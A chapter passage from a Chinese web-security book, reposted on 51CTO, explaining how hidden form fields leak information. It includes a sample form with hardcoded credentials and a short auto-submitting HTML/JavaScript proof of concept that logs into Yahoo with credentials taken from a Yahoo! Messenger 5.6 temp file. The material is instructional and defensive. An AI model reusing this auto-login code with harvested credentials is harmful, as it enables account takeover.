您所在的位置: 首页>>读书频道>>安全>>网络安全>>

6.6 隐藏字段

http://book.51cto.com  2007-12-24 17:20  李匀  电子工业出版社博文视点  我要评论(0)

6.6  隐藏字段

在Web页面上可以使用隐藏字段来隐藏信息,通常情况下,隐藏字段包含的信息都是一些关键信息,如用户名和口令。

隐藏字段存在的问题是,它们并不是真正的隐藏,只是在页面上不显示出来而已,只要知道查看它们的方法,就能够把隐藏字段找出来。查看的方法是,从浏览器中选择查看源代码的菜单项,或者使用网站抓取程序下载网站,然后脱机查看源代码。通过浏览源代码,我们就可以知道隐藏字段的作用和功能。
隐藏字段出现在表单中,通常在提交用户名和口令时使用。现在我们看一下下面的简单表单:

<FORM name=Authentication_Form 
action=http://www.hackmynetwork.com/ login/login?3fcn8a method=post>
Username:<INPUT name=username value="admin"
type=hidden>Password:<INPUT name=password value="letmein" type=hidden">


通过查看这段简化的表单代码,我们发现两个名称为username和password的隐藏字段。通过查看这些字段的值,可以看到,username的值为admin,password的值为letmein。

绝大多数开发人员羞于使用隐藏字段。但是,我们总应该看一看源代码,原因在于它有可能披露有趣的隐藏字段。
使用隐藏字段攻击系统的一个典型示例是Rafel Ivgi发现的一项技术。他发现了Yahoo! Messenger 5.6的一个漏洞,在这个漏洞中,人们能够从临时文件中发现用户名和口令。当用户加载Yahoo! Messenger时,在这个计算机上就存储了一个临时HTML文件,该文件包含了使用这个工具的用户的用户名和口令。示例6.14展示了利用这个漏洞的示例代码。

示例6.14:捕获Yahoo!口令。
<html>
<head>
<script>
<!--
var username;
username='<username>';
var password;
password='<password>';
function submit () {
document.getElementById('login').value=username;
document.getElementById('passwd').value=password;
document.getElementById('login_form').submit();
};
//-->
</script>
</head>
<body onLoad='submit();'>
<form method=post action="https://login.yahoo.com/config/login"
autocomplete=off name=login_form id=login_form onsubmit="return
alert(document.forms['login_form'].login.value)">
<input type="hidden" name=".tries" value="1">
<input type="hidden" name=".src" value="ym">
<input type="hidden" name=".md5" value="">
<input type="hidden" name=".hash" value="">
<input type="hidden" name=".js" value="">
<input type="hidden" name=".last" value="2">
<input type="hidden" name="promo" value="">
<input type="hidden" name=".intl" value="us">
<input type="hidden" name=".bypass" value="">
<input type="hidden" name=".partner" value="">
<input type="hidden" name=".v" value="0">
<input type="hidden" name=".yplus" value="">
<input type="hidden" name=".emailCode" value="">
<input type="hidden" name="plg" value="">
<input type="hidden" name="stepid" value="">
<input type="hidden" name=".ev" value="">
<input type="hidden" name="hasMsgr" value="0">
<input type="hidden" name=".chkP" value="Y">
<input type="hidden" name=".done" value="http://mail.yahoo.com">
<input type="hidden"  name="login" size="17" value="">
<input type="hidden" name="passwd"  size="17" maxlength="32">
<input type="hidden" name=".save" value="Sign In">
</form></body>
</html>

这个示例演示了使用隐藏字段的危险。但是,这个利用要求本地访问计算机,来提取用户TEMP目录下的文档。请注意,在Windows 2000和Windows XP中,这种目录受到了NTFS的安全保护,但是,如果系统是没有使用NTFS的系统,以这个用户登录或以拥有管理权限的用户登录,那么就可以访问这个文件。

【责任编辑:杜书 TEL:(010)68476606】

回书目   上一节   下一节
上一篇: 6.5 Cookie猜测 下一篇: 6.7 暴力攻击
华硕IDC绿色节能服务器推荐
企业级Web2.0 你准备好了么?
WebSphere 实现SOA的利器
如何有效防御SQL注入攻击
Web安全云时代
 
 验证码: (点击刷新验证码)   匿名发表
  • Visual C++ 完全自学宝典

  • 作者:强锋科技,朱洪波
  • Visual C++ 6.0是微软公司为程序人员提供的Visual Studio 6.0工具套件中的重要组成部分。本书由浅入深地介绍使用Visual C++ 6.0..
Copyright©2005-2008 51CTO.COM 版权所有